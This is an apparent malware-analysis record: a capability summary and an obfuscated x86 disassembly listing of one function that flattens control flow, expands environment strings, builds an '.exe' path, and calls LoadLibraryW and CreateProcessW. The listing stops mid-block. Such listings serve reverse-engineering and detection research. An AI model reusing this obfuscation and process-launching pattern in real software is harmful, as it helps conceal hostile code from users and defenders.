Function at 0x4215e8
Capabilities:
Create process on windows
Encode data using base64
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1a0
mov esi, esp
mov dword [esi], 0x204b3ed8
mov eax, dword [esi]
cmp eax, 0x2bab38b
jg 0x4216ad
cmp eax, 0xc56a3998
jg 0x421744
cmp eax, 0x9eadd92b
jle 0x421933
cmp eax, 0xb43a4193
jg 0x421a4c
cmp eax, 0xab7fc4a0
jle 0x421cf0
cmp eax, 0xb0576ce5
jg 0x4223ce
cmp eax, 0xad6d80bf
jle 0x423539
cmp eax, 0xad6d80c0
je 0x424614
cmp eax, 0xadeb3e73
je 0x424769
cmp eax, 0xae3215e3
jne 0x4215ff
push dword [esi + 0x158]
call fcn.0043e964
add esp, 4
mov dword [esi + 0x7c], eax
push dword [esi + 0x9c]
push dword [esi + 0xe0]
push dword [esi + 0x78]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x78]
mov word [ecx + eax*2], 0
mov dword [esi], 0x945d5f9c
jmp 0x4215ff
cmp eax, 0x442de8f8
jg 0x4217e8
cmp eax, 0x1c77a573
jle 0x4218d2
cmp eax, 0x3122b293
jg 0x4219f2
cmp eax, 0x23667d05
jle 0x4220ff
cmp eax, 0x2ae468d6
jg 0x422477
cmp eax, 0x24e3a00f
jle 0x423830
cmp eax, 0x24e3a010
je 0x424a87
cmp eax, 0x25e2cc69
je 0x424be9
cmp eax, 0x2a7e94c1
jne 0x4215ff
mov eax, dword [esi + 8]
add eax, 0xffffffc8
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x130d
dec edx
shr eax, 2
and eax, 0x7ffff80
mov dword [esi + 8], eax
mov eax, 0x9a29c658
cmp edx, ecx
je 0x42540e
mov eax, 0x843eb3b
jmp 0x42540e
cmp eax, 0xe183f7d1
jg 0x42187a
cmp eax, 0xd5660019
jg 0x421b0d
cmp eax, 0xce76a96d
jg 0x421ecc
cmp eax, 0xcb251bc9
jg 0x422524
cmp eax, 0xc92049e6
jg 0x423aba
cmp eax, 0xc56a3999
je 0x423c4a
cmp eax, 0xc8f28e48
jne 0x425469
mov edi, dword [esi + 0x13c]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x38]
mov dword [eax], 0x44
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x3c]
xor ecx, ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push dword [esi + 0x3c]
push dword [esi + 0x38]
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi + 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0x14cdfa5
jmp 0x4215ff
cmp eax, 0x60309fe8
jg 0x42198b
cmp eax, 0x54f4cf74
jg 0x421c8d
cmp eax, 0x4a272a9a
jg 0x422016
cmp eax, 0x470e05ca
jg 0x422421
cmp eax, 0x44d0e1d3
jle 0x42376f
cmp eax, 0x44d0e1d4
je 0x424838
cmp eax, 0x4616c898
je 0x42496d
cmp eax, 0x46fe4ecc
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 2
mov ecx, eax
shl ecx, 6
lea ecx, [ecx + eax*4]
add ecx, 0x3966
mov edx, eax
imul edx, eax
imul edi, edx, 0x323
dec edi
mov dword [esi + 8], ecx
mov eax, 0x79499e71
cmp edi, edx
je 0x42540e
mov eax, 0x94da628
jmp 0x42540e
cmp eax, 0xee0e3270
jle 0x421b78
cmp eax, 0xf88137dc
jg 0x421f3f
cmp eax, 0xf27d07c2
jg 0x422567
cmp eax, 0xefae2414
jle 0x423b0e
cmp eax, 0xefae2415
je 0x42511a
cmp eax, 0xf110033e
je 0x425228
cmp eax, 0xf22e1b04
jne 0x4215ff
mov dword [esi], 0x4172d054
jmp 0x4215ff
cmp eax, 0xe5657a8
jg 0x421bc5
cmp eax, 0x64d2d50
jle 0x42228d
cmp eax, 0x98a242f
jg 0x4224c2
cmp eax, 0x843eb3a
jle 0x423a40
cmp eax, 0x843eb3b
je 0x424fbf
cmp eax, 0x88b0cd0
je 0x4251b5
cmp eax, 0x94da628
jne 0x4215ff
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi], 0xd8b4c1f7
jmp 0x4215ff
cmp eax, 0x8e8d4c6e
jle 0x421c29
cmp eax, 0x934be26e
jle 0x422367
cmp eax, 0x975348e6
jg 0x4225cb
cmp eax, 0x945a196f
jle 0x423bd5
cmp eax, 0x945a1970
je 0x42526d
cmp eax, 0x945d5f9c
je 0x42529c
cmp eax, 0x9597c4e0
jne 0x4215ff
mov dword [esi], 0xf92a381c
jmp 0x4215ff
cmp eax, 0x7146eb78
jg 0x421a99
cmp eax, 0x66024f5c
jle 0x4222f4
cmp eax, 0x6fa4c2e3
jg 0x422653
cmp eax, 0x68e9f58c
jle 0x42344e
cmp eax, 0x68e9f58d
je 0x42452a
cmp eax, 0x6d604315
je 0x4245ac
cmp eax, 0x6dd7c548
jne 0x4215ff
imul eax, dword [esi + 8], 0x1200a0
add eax, 0x1a979
mov dword [esi + 8], eax
mov dword [esi], 0xd8b4c1f7
jmp 0x4215ff
cmp eax, 0x39b38a11
jg 0x421e2a
cmp eax, 0x36bcfa28
jle 0x42268a
cmp eax, 0x386a96a9
jle 0x4239fd
cmp eax, 0x386a96aa
je 0x424fa3
cmp eax, 0x38caa96c
je 0x425069
cmp eax, 0x38ff502d
jne 0x4215ff
mov eax, dword [esi + 0x10c]
inc eax
mov dword [esi + 0xf0], eax
mov dword [esi], 0xf22e1b04
jmp 0x4215ff
cmp eax, 0xbe8bd99f
jg 0x421e86
cmp eax, 0xbbbf2083
jg 0x4227c3
cmp eax, 0xb6c0e376
jle 0x4235b2
cmp eax, 0xb6c0e377
je 0x42464e
cmp eax, 0xb9a019c3
je 0x42482d
cmp eax, 0xbba258eb
jne 0x4215ff
mov dword [esi], 0x5fc7ebfe
jmp 0x4215ff
cmp eax, 0x7b64b85c
jg 0x421faf
cmp eax, 0x77e1cc7c
jg 0x4226c3
cmp eax, 0x7335f423
jle 0x42336b
cmp eax, 0x7335f424
je 0x42437e
cmp eax, 0x734530d1
je 0x4243a9
cmp eax, 0x768be4b1
jne 0x4215ff
mov edi, dword [esi + 4]
shl edi, 0xb
add edi, 0xfff29f85
mov dword [esi + 4], edi
call fcn.004215e8
push 0x348f
push 0x60d8
push edi
call 0x425690
add esp, 0xc
mov dword [esi], 0x17dbd9f7
jmp 0x4215ff
cmp eax, 0xd91beb25
jle 0x422067
cmp eax, 0xdeb2be3f
jg 0x422844
cmp eax, 0xd9be0d9e
jle 0x423631
cmp eax, 0xd9be0d9f
je 0x42469b
cmp eax, 0xdb1522b5
je 0x4248c0
cmp eax, 0xdb205217
jne 0x4215ff
push 3
push 0x45657b
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0xad1c7cd9
jmp 0x4253c8
cmp eax, 0xe7a272ce
jle 0x4220ac
cmp eax, 0xe99c026f
jg 0x422889
cmp eax, 0xe88c2599
jle 0x423666
cmp eax, 0xe88c259a
je 0x4246c1
cmp eax, 0xe8b8056d
je 0x4248e1
cmp eax, 0xe8b92922
jne 0x4215ff
mov dword [esi], 0x8dbaef5b
jmp 0x4215ff
cmp eax, 0x19439131
jg 0x422164
cmp eax, 0x162474d8
jle 0x4228f9
cmp eax, 0x17dbd9f6
jle 0x423698
cmp eax, 0x17dbd9f7
je 0x42473a
cmp eax, 0x18aa8097
je 0x4248fa
cmp eax, 0x191d7f5e
jne 0x4215ff
mov eax, dword [esi + 8]
and eax, 0xfffffffc
shl eax, 0xa
imul eax, eax, 0x2e
add eax, 0xffffcfaa
shr eax, 4
mov dword [esi + 8], eax
mov dword [esi], 0x66024f5d
jmp 0x4215ff
cmp eax, 0x874cd2b9
jle 0x4221b4
cmp eax, 0x8c94ea13
jle 0x42293d
cmp eax, 0x8d08e7b3
jle 0x4238b5
cmp eax, 0x8d08e7b4
je 0x424abe
cmp eax, 0x8d84d09d
je 0x424c4f
cmp eax, 0x8dbaef5b
jne 0x4215ff
push dword [esi + 0x108]
push dword [esi + 0x94]
call fcn.004015c2
add esp, 8
mov dword [esi + 0xc], eax
mov dword [esi], 0xfc8aaaee
jmp 0x4215ff
cmp eax, 0x5b1bebb3
jg 0x422220
cmp eax, 0x566818b4
jle 0x422c40
cmp eax, 0x57bcd7ac
jle 0x4236f7
cmp eax, 0x57bcd7ad
je 0x424370
cmp eax, 0x58250b3c
je 0x424939
cmp eax, 0x59b82ec3
jne 0x4215ff
push 0x45656b
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xe0], eax
mov dword [esi], 0x6d604315
jmp 0x4215ff
cmp eax, 0xa540ef88
jg 0x422768
cmp eax, 0xa2cc8592
jle 0x422d7d
cmp eax, 0xa2cc8593
je 0x4247e3
cmp eax, 0xa4c0277c
je 0x42491f
cmp eax, 0xa53e1553
jne 0x4215ff
push 0x45656d
push dword [esi + 0xc]
call fcn.004013a8
add esp, 8
mov dword [esi + 0x98], eax
push 0x45656f
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xe4], eax
push 0x456571
push dword [esi + 0xc]
call fcn.0040133c
add esp, 8
fnstcw word [esi + 0x58]
movzx eax, word [esi + 0x58]
or eax, 0xc00
mov word [esi + 0xcc], ax
fldcw word [esi + 0xcc]
fistp dword [esi + 0x11c]
fldcw word [esi + 0x58]
mov eax, dword [esi + 0x11c]
mov dword [esi + 0x150], eax
push 0x456573
push dword [esi + 0xc]
call fcn.0040133c
add esp, 8
fnstcw word [esi + 0x56]
movzx eax, word [esi + 0x56]
or eax, 0xc00
mov word [esi + 0xca], ax
fldcw word [esi + 0xca]
fistp dword [esi + 0x120]
fldcw word [esi + 0x56]
mov eax, dword [esi + 0x120]
mov dword [esi + 0x154], eax
push dword [esi + 0xe0]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0x9c], eax
push dword [esi + 0xe4]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x9c]
add eax, eax
add eax, 2
push eax
call fcn.0043e964
add esp, 4
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0xa0]
add eax, eax
add eax, 2
mov dword [esi + 0x158], eax
mov dword [esi], 0xae3215e3
jmp 0x4215ff
cmp eax, 0x40b1f467
jg 0x422710
cmp eax, 0x3def1732
jle 0x42339f
cmp eax, 0x3def1733
je case.0x424b06.1
cmp eax, 0x3dfe9f86
je 0x42447d
cmp eax, 0x3fb373cf
jne 0x4215ff
imul ecx, dword [esi + 4], 0x1a8000
mov eax, 0x17dbd9f7
add ecx, 0xfa690000
mov dword [esi + 4], ecx
je 0x42540e
mov eax, 0x71c5912e
jmp 0x42540e
cmp eax, 0xc110bd54
jle 0x4227ef
cmp eax, 0xc3a1304f
jle 0x423601
cmp eax, 0xc3a13050
je 0x424667
cmp eax, 0xc42a3b14
je case.0x424b06.2
cmp eax, 0xc56673a5
jne 0x4215ff
shl dword [esi + 8], 0x19
mov dword [esi], 0x559a1bb7
jmp 0x4215ff
cmp eax, 0xd36e0ac8
jle 0x422974
cmp eax, 0xd40623c9
jle 0x423904
cmp eax, 0xd40623ca
je 0x424b86
cmp eax, 0xd419cf2d
je 0x424c82
cmp eax, 0xd4fa944b
jne 0x4215ff
mov ecx, dword [esi + 8]
lea eax, [ecx + ecx*2]
shl eax, 3
sub eax, ecx
mov ecx, eax
shr ecx, 2
imul ecx, ecx
imul edx, ecx, 0x1493
dec edx
shl eax, 8
and eax, 0x7ffffc00
mov dword [esi + 8], eax
mov eax, 0xcfaa89b5
cmp ecx, edx
je 0x42540e
mov eax, 0xbc9fc322
jmp 0x42540e
cmp eax, 0xfe67dace
jg 0x4229ba
cmp eax, 0xfc8aaaed
jle 0x42393b
cmp eax, 0xfc8aaaee
je 0x424ba9
cmp eax, 0xfcb665fc
je 0x424cb7
cmp eax, 0xfe665aaf
jne 0x4215ff
push dword [esi + 0xa4]
push dword [esi + 0xec]
push dword [esi + 0x80]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0xa4]
add eax, eax
add eax, dword [esi + 0x80]
mov dword [esi + 0x15c], eax
mov dword [esi], 0xdf88943f
jmp 0x4215ff
cmp eax, 0x7e3a3568
jle 0x422a0d
cmp eax, 0x7e7d28fc
jle 0x42332e
cmp eax, 0x7e7d28fd
je 0x4242f6
cmp eax, 0x7ee0c740
je 0x42430d
cmp eax, 0x7fa56d5f
jne 0x4215ff
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x22]
imul eax, eax
add ecx, 0x2b
imul edx, eax, 0x344f
dec edx
shr ecx, 0xd
mov dword [esi + 8], ecx
mov ecx, 0x8ea42891
cmp eax, edx
je 0x4253c8
mov ecx, 0x3122b294
jmp 0x4253c8
cmp eax, 0x50284e33
jg 0x422a4e
cmp eax, 0x4bfb7b75
jle 0x4233cc
cmp eax, 0x4bfb7b76
je 0x424472
cmp eax, 0x4dc46a39
je 0x4244b4
cmp eax, 0x4fa42ed2
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 0xb
imul eax, eax, 0xed828
mov dword [esi + 8], eax
mov dword [esi], 0x8cba5cd4
jmp 0x4215ff
cmp eax, 0xd7043f82
jle 0x422a9e
cmp eax, 0xd7df6f28
jle 0x4233ed
cmp eax, 0xd7df6f29
je 0x4244d1
cmp eax, 0xd853f4c7
je case.0x424b06.4
cmp eax, 0xd8b4c1f7
jne 0x4215ff
mov eax, dword [esi + 0x68]
mov dword [esi], 0xe480f571
jmp 0x4215ff
cmp eax, 0xe4f18e8e
jle 0x422ad9
cmp eax, 0xe7267929
jle 0x42340e
cmp eax, 0xe726792a
je 0x424513
cmp eax, 0xe74270f2
je 0x424587
cmp eax, 0xe7685976
jne 0x4215ff
cmp dword [esi + 0x14c], 0
mov eax, 0x3122b294
je 0x42540e
mov eax, 0x39b38a12
jmp 0x42540e
cmp eax, 0x20f7d7dd
jle 0x422b2c
cmp eax, 0x2154265b
jle 0x42347c
cmp eax, 0x2154265c
je 0x424544
cmp eax, 0x2184e6fc
je 0x4245c4
cmp eax, 0x21baf1f4
jne 0x4215ff
imul eax, dword [esi + 4], 0x780
add eax, 0x5e380
shr eax, 4
imul ecx, eax, 0x1ca4
mov dword [esi + 4], ecx
mov eax, 0xd36e0ac9
cmp ecx, 0xec
jae 0x424915
jmp 0x42540e
cmp eax, 0x1a1e7687
jle 0x422b95
cmp eax, 0x1ab0e90d
jle 0x4234bb
cmp eax, 0x1ab0e90e
je 0x42455e
cmp eax, 0x1b2e091f
je 0x4245da
cmp eax, 0x1b7e6718
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 3
and eax, 0xffffff80
imul eax, eax, 0xa4
add eax, 0x31a6f5
jmp 0x424f23
cmp eax, 0x84df7197
jle 0x422c04
cmp eax, 0x85a05909
jle 0x4234fa
cmp eax, 0x85a0590a
je 0x4245e8
cmp eax, 0x85d8db04
je 0x4246dd
cmp eax, 0x871d400c
jne 0x4215ff
imul edi, dword [esi + 4], 0xaf
add edi, 0x6270
mov eax, edi
shr eax, 0xb
mov dword [esi + 4], eax
call fcn.00405998
mov eax, 0xd853f4c7
cmp edi, 0x7b000
jae 0x42540e
mov eax, 0xbbbf2084
jmp 0x42540e
cmp eax, 0x5e47bc61
jle 0x422c6c
cmp eax, 0x5f01410d
jle 0x423730
cmp eax, 0x5f01410e
je 0x42486c
cmp eax, 0x5f1bc186
je 0x42494e
cmp eax, 0x5fc7ebfe
jne 0x4215ff
mov ecx, dword [esi + 0x178]
mov eax, ecx
mov edx, 0x66666667
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 2
add edx, eax
add edx, edx
lea eax, [edx + edx*4]
neg eax
add eax, ecx
add eax, 9
mov dword [esi + 0x17c], eax
mov dword [esi], 0x826d064e
jmp 0x4215ff
cmp eax, 0x4f35bcd
jle 0x422ca3
cmp eax, 0x59848b6
jle 0x4237fe
cmp eax, 0x59848b7
je 0x424a25
cmp eax, 0x60ca634
je 0x424ad3
cmp eax, 0x6467e81
jne 0x4215ff
mov eax, dword [esi + 4]
add eax, 0xfffffff0
shr eax, 0xa
imul ecx, eax, 0xb4
mov eax, ecx
shr eax, 0xc
add eax, 0xffffffd5
mov dword [esi + 4], eax
mov eax, 0xd853f4c7
cmp ecx, 0xca000
jae 0x42424c
jmp 0x42540e
cmp eax, 0x614631ba
jle 0x422d00
cmp eax, 0x61f3ffe2
jle 0x423984
cmp eax, 0x61f3ffe3
je 0x424bb4
cmp eax, 0x62687525
je 0x424ceb
cmp eax, 0x63769277
jne 0x4215ff
mov eax, dword [esi + 8]
add eax, 2
shr eax, 2
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x32e3
add eax, 0xfffffec3
dec edx
shr eax, 9
add eax, 0xffffff17
mov dword [esi + 8], eax
mov eax, 0xf5bf8279
cmp edx, ecx
je 0x42540e
mov eax, 0x945a1970
jmp 0x42540e
cmp eax, 0x8ff91232
jle 0x422d38
cmp eax, 0x9293a6c4
jle 0x4239b3
cmp eax, 0x9293a6c5
je 0x424cc2
cmp eax, 0x92cbbda6
je 0x424e24
cmp eax, 0x92d2bce3
jne 0x4215ff
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x6a]
add ecx, 0xfffffecc
imul eax, eax
imul edx, eax, 0x2e05
dec edx
shr ecx, 1
and ecx, 0xffffffe0
mov dword [esi + 8], ecx
mov ecx, 0xefae2415
cmp edx, eax
jne 0x425150
jmp 0x4253c8
cmp eax, 0xb215b34f
jle 0x423577
cmp eax, 0xb215b350
je 0x424638
cmp eax, 0xb343ce14
je 0x424796
cmp eax, 0xb3e45c87
jne 0x4215ff
mov eax, dword [esi + 4]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add ecx, eax
add ecx, 0xffffecc6
mov dword [esi + 4], ecx
mov eax, 0x56fb1c8d
cmp ecx, 0x4f
jl 0x4243c3
jmp 0x42540e
cmp eax, 0x47cf86e2
jle 0x4237b0
cmp eax, 0x47cf86e3
je 0x42488e
cmp eax, 0x4861e6c3
je 0x42499b
cmp eax, 0x49e803f3
jne 0x4215ff
mov edi, dword [esi + 4]
shl edi, 0x1c
add edi, 0x10000000
mov dword [esi + 4], edi
call fcn.004215e8
mov eax, 0xd2d47824
cmp edi, 0x81
jge 0x423cff
jmp 0x42540e
cmp eax, 0x2eb76e7c
jle 0x423869
cmp eax, 0x2eb76e7d
je 0x424aa1
cmp eax, 0x2f4415a9
je 0x424c2b
cmp eax, 0x30c346c6
jne 0x4215ff
push dword [esi + 0x164]
call fcn.0043e964
add esp, 4
mov dword [esi + 0x84], eax
mov dword [esi], 0x98a2430
jmp 0x4215ff
cmp eax, 0xba7e248
jle 0x423a64
cmp eax, 0xba7e249
je 0x424fcd
cmp eax, 0xd1f1c6b
je 0x4251cb
cmp eax, 0xda8ad0d
jne 0x4215ff
mov ecx, dword [esi + 8]
lea eax, [ecx - 0xa7]
imul eax, eax
imul edx, eax, 0x338f
add ecx, 0xffffff0e
dec edx
shr ecx, 0x12
mov dword [esi + 8], ecx
mov ecx, 0x71c5912e
cmp edx, eax
je 0x4253c8
mov ecx, 0xbe8bd9a0
jmp 0x4253c8
cmp eax, 0xcda75006
jle 0x423b60
cmp eax, 0xcda75007
je 0x42515a
cmp eax, 0xcdfae9e1
je 0x425233
cmp eax, 0xce6da06a
jne 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0x11
lea eax, [eax + eax*8]
mov dword [esi + 8], eax
mov dword [esi], 0x162474d9
jmp 0x4215ff
cmp eax, 0xf46168c6
jle 0x423b85
cmp eax, 0xf46168c7
je 0x42518c
cmp eax, 0xf5bf8279
je 0x42523e
cmp eax, 0xf6695f29
jne 0x4215ff
mov eax, dword [esi + 0x64]
movzx ecx, word [0x456512]
mov word [eax + 8], cx
mov ecx, dword [0x45650e]
mov dword [eax + 4], ecx
mov ecx, dword [str..exe]
mov dword [eax], ecx
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.004422b6
add esp, 8
mov dword [esi], 0x503d8499
jmp 0x4215ff
cmp eax, 0x9a0b9c3b
jle 0x423c18
cmp eax, 0x9a0b9c3c
je 0x42527b
cmp eax, 0x9a29c658
je 0x4252dd
cmp eax, 0x9c3b75b4
jne 0x4215ff
push dword [esi + 0x28]
push 2
call fcn.00419760
add esp, 8
push dword [esi + 0x134]
push dword [esi + 0x28]
push dword [esi + 0x88]
push dword [esi + 0x84]
call fcn.004048ac
add esp, 0x10
push dword [esi + 0x28]
call fcn.00419a56
add esp, 4
push dword [esi + 0x88]
call fcn.0043e5b4
add esp, 4
push dword [esi + 0x84]
call fcn.0043e5b4
add esp, 4
mov dword [esi], 0x60309fe9
jmp 0x4215ff
cmp eax, 0x709e7a24
jle 0x422dec
cmp eax, 0x709e7a25
je 0x423cb0
cmp eax, 0x70e8de82
jne 0x425459
push dword [esi + 0x18]
call fcn.00428144
add esp, 4
mov dword [esi], 0x21354020
jmp 0x4215ff
cmp eax, 0x323fc3a3
jle 0x4230e0
cmp eax, 0x359a4a83
jg 0x423c58
cmp eax, 0x323fc3a4
jne 0x425539
mov eax, dword [esi + 8]
shl eax, 5
and eax, 0x7f0000
imul eax, eax, 0x73
add eax, 0xffffe174
jmp 0x423ca8
cmp eax, 0x79499e70
jg 0x422f7d
cmp eax, 0x787048c5
je 0x423e7a
cmp eax, 0x787b6cac
jne 0x425479
mov eax, dword [esi + 4]
shl eax, 0xf
add eax, 0x290000
mov dword [esi + 4], eax
push eax
push 0x24be
push 0x10d4
call 0x425690
add esp, 0xc
mov dword [esi], 0xc92049e7
jmp 0x4215ff
cmp eax, 0x419859e7
jle 0x42307b
cmp eax, 0x419859e8
je 0x423fd7
cmp eax, 0x435e3da1
jne 0x425489
mov eax, dword [esi + 8]
add eax, 0xffffffd9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5f47
dec edx
shr eax, 2
and eax, 0x3fffe000
or eax, 0x5b
mov dword [esi + 8], eax
mov eax, 0x540377d8
cmp edx, ecx
je 0x42540e
mov eax, 0x8a7477c9
jmp 0x42540e
cmp eax, 0xa96491d9
jle 0x423130
cmp eax, 0xaa987dfe
je 0x4240ba
cmp eax, 0xab26b6ce
jne 0x425499
mov eax, dword [esi + 8]
shr eax, 0xc
mov ecx, eax
shl ecx, 0x15
imul eax, eax
imul edx, eax, 0x20bb
dec edx
or ecx, 0x6f
mov dword [esi + 8], ecx
mov ecx, 0x9a29c658
cmp edx, eax
je 0x4227b2
mov ecx, 0x603edea5
mov dword [esi], ecx
mov dword [esi + 0xdc], 0
jmp 0x4215ff
cmp eax, 0xbce63930
jg 0x42317b
cmp eax, 0xbbbf2084
je 0x424133
cmp eax, 0xbc9fc322
jne 0x4254a9
mov dword [esi], 0xe74270f2
jmp 0x4215ff
cmp eax, 0xbf0b6941
jle 0x4231b4
cmp eax, 0xbf210fa3
je 0x424160
cmp eax, 0xc04d28cd
jne 0x4254b9
mov edi, dword [esi + 4]
shr edi, 0x14
mov dword [esi + 4], edi
push edi
push 0x4eb4
push 0x3eae
call 0x425690
add esp, 0xc
mov eax, 0x1ab0e90e
cmp edi, 0x14
je 0x42540e
mov eax, 0x8cf98810
jmp 0x42540e
cmp eax, 0xdf88943e
jg 0x423204
cmp eax, 0xdee81455
je 0x4241f3
cmp eax, 0xdf07a29d
jne 0x4254c9
mov edi, dword [esi + 4]
add edi, 0xffffffde
shr edi, 0xc
mov dword [esi + 4], edi
call fcn.004215e8
mov eax, 0xb4bb9c7a
cmp edi, 0x6c
jne 0x425084
jmp 0x42540e
cmp eax, 0xec457515
jle 0x423225
cmp eax, 0xec6149b3
je 0x424206
cmp eax, 0xecf60134
jne 0x4254d9
push 0x45657b
push dword [esi + 0xc]
call fcn.0040133c
add esp, 8
fnstcw word [esi + 0x52]
movzx eax, word [esi + 0x52]
or eax, 0xc00
mov word [esi + 0xc6], ax
fldcw word [esi + 0xc6]
fistp dword [esi + 0x128]
fldcw word [esi + 0x52]
mov eax, dword [esi + 0x128]
mov dword [esi + 0xbc], eax
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x10]
mov dword [esi], 0x54d0213e
jmp 0x4215ff
cmp eax, 0x14f39fe1
jle 0x423270
cmp eax, 0x14f39fe2
je 0x42422a
cmp eax, 0x16135bf7
jne 0x4254e9
push 5
push 0x45656d
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov dword [esi + 0x148], eax
mov dword [esi], 0x615b110f
jmp 0x4215ff
cmp eax, 0x8bb47ea5
jg 0x4232a9
cmp eax, 0x874cd2ba
je 0x424264
cmp eax, 0x8a7477c9
jne 0x4254f9
push dword [esi + 0x1c]
call fcn.00401606
add esp, 4
mov dword [esi], 0x323fc3a4
jmp 0x4215ff
cmp eax, 0xd0b902bd
jg 0x4232ca
cmp eax, 0xce76a96e
je 0x4242c4
cmp eax, 0xcfaa89b5
jne 0x425509
imul ecx, dword [esi + 4], 0x6d
add ecx, 0xe1
mov dword [esi + 4], ecx
mov eax, 0x66024f5d
cmp ecx, 0xe
jge 0x42540e
mov eax, 0x79499e71
jmp 0x42540e
cmp eax, 0x14cdfa4
jg 0x4232ff
cmp eax, 0xfec7f369
je 0x424337
cmp eax, 0xffbd1610
jne 0x425519
push 0x200
push dword [esi + 0x10]
push dword [esi + 0x60]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
call fcn.0043d455
add esp, 4
mov dword [esi + 0x114], edx
mov dword [esi + 0x110], eax
mov dword [esi], 0xeaba2f65
jmp 0x4215ff
cmp eax, 0x7bf0abd5
jg 0x422db2
cmp eax, 0x7b64b85d
je 0x423c94
cmp eax, 0x7bb042c6
jne 0x4215ff
imul ecx, dword [esi + 4], 0x33
add ecx, 0xffffe4b5
mov dword [esi + 4], ecx
mov eax, 0x221b027e
cmp ecx, 7
jl 0x425182
jmp 0x42540e
cmp eax, 0x54af35e9
jg 0x422e35
cmp eax, 0x503d8499
je 0x423d09
cmp eax, 0x50da737d
jne 0x425529
mov edi, dword [esi + 4]
shl edi, 3
and edi, 0xffff8
mov dword [esi + 4], edi
call fcn.00405998
mov eax, 0x4f35bce
cmp edi, 0xb3
jb 0x42540e
mov eax, 0xaa987dfe
jmp 0x42540e
cmp eax, 0xd5aa8b2a
jg 0x422e7d
cmp eax, 0xd566001a
je 0x423d5e
cmp eax, 0xd56a457d
jne 0x4215ff
mov eax, dword [esi + 0x160]
add eax, 2
mov dword [esi + 0x164], eax
mov dword [esi], 0x24e3a010
jmp 0x4215ff
cmp eax, 0xe3f0f67a
jg 0x422eca
cmp eax, 0xe183f7d2
je case.0x424b06.0
cmp eax, 0xe3a20264
jne 0x4215ff
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 3
imul eax, eax
shr ecx, 0xb
imul edx, eax, 0x6881
dec edx
add ecx, 0xffffffdf
mov dword [esi + 8], ecx
mov ecx, 0xe88c259a
cmp eax, edx
je 0x4253c8
mov ecx, 0xd7df6f29
jmp 0x4253c8
cmp eax, 0x1f84cf78
jg 0x422ef4
cmp eax, 0x1c77a574
je 0x423dcc
cmp eax, 0x1cafef4d
jne 0x4215ff
mov eax, dword [esi + 0x4c]
xor ecx, ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push dword [esi + 0x4c]
push dword [esi + 0x48]
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [esi + 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi + 0x4c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov dword [esi], 0xa4c0277c
jmp 0x4215ff
cmp eax, 0x19f034aa
jg 0x422f42
cmp eax, 0x19439132
je 0x423e14
cmp eax, 0x19e3dc40
jne 0x4215ff
imul edi, dword [esi + 4], 0x9a00
add edi, 0x3b8e00
mov dword [esi + 4], edi
push 0x3622
push edi
push 0x162a
call 0x425690
add esp, 0xc
push 0x5da6
push edi
push 0x1a5f
call 0x425690
add esp, 0xc
mov eax, 0x3fb373cf
cmp edi, 6
jl 0x42540e
mov eax, 0xe8b8056d
jmp 0x42540e
cmp eax, 0x81af81f5
jg 0x422fa4
cmp eax, 0x8097b18f
je 0x423ea9
cmp eax, 0x80dbd66f
jne 0x4215ff
push 0x454150
push dword [esi + 0x10]
call fcn.004422b6
add esp, 8
mov dword [esi], 0xf88137dd
jmp 0x4215ff
cmp eax, 0x559a1bb6
jg 0x422fdf
cmp eax, 0x54f4cf75
je 0x423ef3
cmp eax, 0x5577d6d4
jne 0x4215ff
mov dword [esi], 0xc92049e7
jmp 0x4215ff
cmp eax, 0x5bef7a6b
jg 0x42301e
cmp eax, 0x5b1bebb4
je 0x423f10
cmp eax, 0x5b267297
jne 0x4215ff
mov eax, dword [esi + 0x168]
mov word [eax], 0
mov dword [esi], 0xcc7f3401
jmp 0x4215ff
cmp eax, 0x3d30830
jg 0x423057
cmp eax, 0x2bab38c
je 0x423f89
cmp eax, 0x31ea814
jne 0x4215ff
mov ecx, dword [esi + 8]
shr ecx, 0xb
